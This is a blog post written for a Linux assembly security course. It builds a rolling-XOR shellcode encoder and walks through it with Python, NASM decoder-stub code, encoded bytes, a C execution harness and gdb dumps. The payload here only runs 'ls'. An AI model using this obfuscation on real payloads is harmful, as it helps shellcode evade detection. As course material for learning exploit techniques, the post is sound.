SLAE Problem 4: Custom Encoding Scheme

December 23, 2016 - 8 minute read -
asm shellcode c encoding

Assignment 4

This blog post has been created for completing the requirements for the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-824

Requirements

  • Create a custom encoding scheme like the “Insertionon Encoder” we showed you
  • PoC with using execve-stack as the shellcode to encode with your schema and execute

Source Code

The source code for this article can be found here

Strategy

My strategy for fulfulling this assignment will be the following:

  • Think about what sort of encoding algorithm I want to use
  • Write a python program that will take the execve-stack shellcode and encode it using the algorithm I decide on
  • Write an assembly program that contains the encoded shellcode, decodes, and then executes it

Encoding Algorithm

So what sort of algorithm shall I write? Off the top of my head I’m thinking of a cycling encoder. Something like the following:

  • Jump, Call, Pop our shellcde location into esi
  • Think of a dword such as 0xdeadbeef.
  • Initialize eax and ebx with the dword
  • Initialize edx to zero. This will be our offset.
  • Place the length of the shellcode in ecx
  • Loop based on ecx executing the following
    • if ebx is 0x00000000, re-initialize it with eax
    • Xor the offset of shellcode with the lowest significant byte of ebx (bl)
    • Increment our offset
    • Shift right ebx making the second least significant byte the least significant byte
  • Jump to our decoded shellcode after looping has been exhausted

The algorithm sounds like it should work… Let’s give it a shot

The Assembly

DECODER_RING equ ;; dword to decode with
global _start
section .text
  _start:
    jmp short call_decoder

  decoder:
    pop esi
    mov eax, DECODER_RING
    xor edx, edx
    xor edi, edi
    mov cl, ; encoded shellcode length

  reset:
    mov ebx, DECODER_RING

  decode:
    cmp ebx, edi
    jz reset
    xor [esi+edx], bl
    inc edx
    shr ebx, 0x8
    loop decode
    jmp esi

  call_decoder:
    call decoder
    encoded: db ;; Encoded bytes here

The Python

#!/usr/bin/python
'''
Author: Brett Lischalk
Title: Cycling Encoder
Description:
Cycles through a dword using the
lowest significant byte as the value to xor
a byte of shellcode with.
'''

# Set the dword you want to be your
# value to cycle through in encoder
encoder=0xdeadbeef
encoder_dirty=encoder
shellcode="shellcode goes here.........................................."

encoded=bytearray()
shellcode_bytes=bytearray(shellcode)

while len(shellcode_bytes) != 0:
  # when we have shifted our decoder to zero
  # we want to reset it to begin the cycle again
  if encoder_dirty == 0x00000000:
    encoder_dirty = encoder

  # get the first and rest of our shellcode
  f, r            = shellcode_bytes[0], shellcode_bytes[1:]
  b               = encoder_dirty & 0xff
  result          = f ^ b
  # get the lowest significant byte of our decoder
  # xor the current shellcode byte
  # append it to our encoded shellcode
  encoded.append(result)

  # update our shellcode to be the shellcode
  # minus the first byte
  shellcode_bytes = r

  # shift off the lowest significant byte
  encoder_dirty   = encoder_dirty >> 8

# Format our bytes as hex for output
formatted = [hex(b) for b in encoded]

print "Shellcode Length: %s" % len(formatted)
print(",".join(formatted))

Let’s try encoding the execve-stack shellcode, placing it in our decoder assembly program, extracting the bytes and placing those in our shellcode.c stub and see if we can get some code execution as we would hope.

Grab the bytes of execve-stack shellcode. Make sure to adjust the cut column count to 7 as the disassembly has bytes in the seventh column:

objdump -d ./decoder|grep '[0-9a-f]:'| grep -v 'file'|\
cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' ' |sed 's/ $//g'|\
sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\xeb\x20\x5e\xb8\xef\xbe\xad\xde\x31\xd2\x31\xff\xb1\x19\xbb\xef\xbe\xad\xde\x39\xfb\x74\xf7\x30\x1c\x16\x42\xc1\xeb\x08\xe2\xf3\xff\xe6\xe8\xdb\xff\xff\xff\xde\x7e\xfd\xb6\xc0\x91\xc1\xad\x87\x91\xcf\xb7\x81\x37\x4e\x8e\x66\x5c\xfe\x57\x0e\x0e\xa6\x13\x6f"

Throw the bytes in our python decoder program:

#!/usr/bin/python
'''
Author: Brett Lischalk
Title: Cycling Encoder
Description:
Cycles through a dword using the
lowest significant byte as the value to xor
a byte of shellcode with.
'''

# Set the dword you want to be your
# value to cycle through in encoder
encoder=0xdeadbeef
encoder_dirty=encoder
shellcode="\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

encoded=bytearray()
shellcode_bytes=bytearray(shellcode)

while len(shellcode_bytes) != 0:
  # when we have shifted our decoder to zero
  # we want to reset it to begin the cycle again
  if encoder_dirty == 0x00000000:
    encoder_dirty = encoder

  # get the first and rest of our shellcode
  f, r            = shellcode_bytes[0], shellcode_bytes[1:]
  #print "encoding: %x" % f
  b               = encoder_dirty & 0xff
  #print "b is: %x" % b
  result          = f ^ b
  #print "result: %x" % result
  # get the lowest significant byte of our decoder
  # xor the current shellcode byte
  # append it to our encoded shellcode
  encoded.append(result)

  # update our shellcode to be the shellcode
  # minus the first byte
  shellcode_bytes = r

  # shift off the lowest significant byte
  encoder_dirty   = encoder_dirty >> 8

# Format our bytes as hex for output
formatted = [hex(b) for b in encoded]

print "Shellcode Length: %s" % len(formatted)
print(",".join(formatted))

Throw the bytes and shellcode length in our decoder.nasm

DECODER_RING equ 0xdeadbeef
global _start
section .text
  _start:
    jmp short call_decoder

  decoder:
    pop esi
    mov eax, DECODER_RING
    xor edx, edx
    xor edi, edi
    mov cl, 25 ; encoded shellcode length

  reset:
    mov ebx, DECODER_RING

  decode:
    cmp ebx, edi
    jz reset
    xor [esi+edx], bl
    inc edx
    shr ebx, 0x8
    loop decode
    jmp esi

  call_decoder:
    call decoder
    encoded: db 0xde,0x7e,0xfd,0xb6,0xc0,0x91,0xc1,0xad,0x87,0x91,0xcf,0xb7,0x81,0x37,0x4e,0x8e,0x66,0x5c,0xfe,0x57,0xe,0xe,0xa6,0x13,0x6f

Compile, get the bytes, and load into shellcode.c stub:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\xeb\x20\x5e\xb8\xef\xbe\xad\xde\x31\xd2\x31\xff\xb1\x19\xbb\xef\xbe\xad\xde\x39\xfb\x74\xf7\x30\x1c\x16\x42\xc1\xeb\x08\xe2\xf3\xff\xe6\xe8\xdb\xff\xff\xff\xde\x7e\xfd\xb6\xc0\x91\xc1\xad\x87\x91\xcf\xb7\x81\x37\x4e\x8e\x66\x5c\xfe\x57\x0e\x0e\xa6\x13\x6f";



main()
{

	printf("Shellcode Length:  %d\n", strlen(shellcode));
	int (*ret)() = (int(*)())shellcode;
	ret();

}

The execve-stack.nasm was compiled to execute an ls so when we execute our shellcode stub we will be looking for a directory listing to be output:

root@blahblah:~/shared/SLAE/slae/exercise4# ./shellcode
Shellcode Length:  64
README.md   decoder	  decoder.o   execve-stack	 execve-stack.o  shellcode.c
compile.sh  decoder.nasm  encoder.py  execve-stack.nasm  shellcode

And sure enough we are in luck. We get our directory listing. Lets now open our code in the debugger and checkout our memory pre and post decoding.

Pre-Decoding

# Encoded bytes from our decoder.nasm

# 0xde,0x7e,0xfd,0xb6,0xc0,0x91,0xc1,0xad,0x87,0x91,0xcf,0xb7,0x81,
# 0x37,0x4e,0x8e,0x66,0x5c,0xfe,0x57,0xe,0xe,0xa6,0x13,0x6f

(gdb) x/26xb $esi
0x80497a7 <shellcode+39>:	0xde	0x7e	0xfd	0xb6	0xc0	0x91	0xc1	0xad
0x80497af <shellcode+47>:	0x87	0x91	0xcf	0xb7	0x81	0x37	0x4e	0x8e
0x80497b7 <shellcode+55>:	0x66	0x5c	0xfe	0x57	0x0e	0x0e	0xa6	0x13
0x80497bf <shellcode+63>:	0x6f	0x00

Post-Decoding

# Decoded bytes pre encoding from encoder.py

# "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50"
# "\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

(gdb) x/26xb $esi
0x80497a7 <shellcode+39>:	0x31	0xc0	0x50	0x68	0x2f	0x2f	0x6c	0x73
0x80497af <shellcode+47>:	0x68	0x2f	0x62	0x69	0x6e	0x89	0xe3	0x50
0x80497b7 <shellcode+55>:	0x89	0xe2	0x53	0x89	0xe1	0xb0	0x0b	0xcd
0x80497bf <shellcode+63>:	0x80	0x00

We can see that our cycling encoding scheme does encode and decode as we intended it to as well as proceeding to execute our shellcode.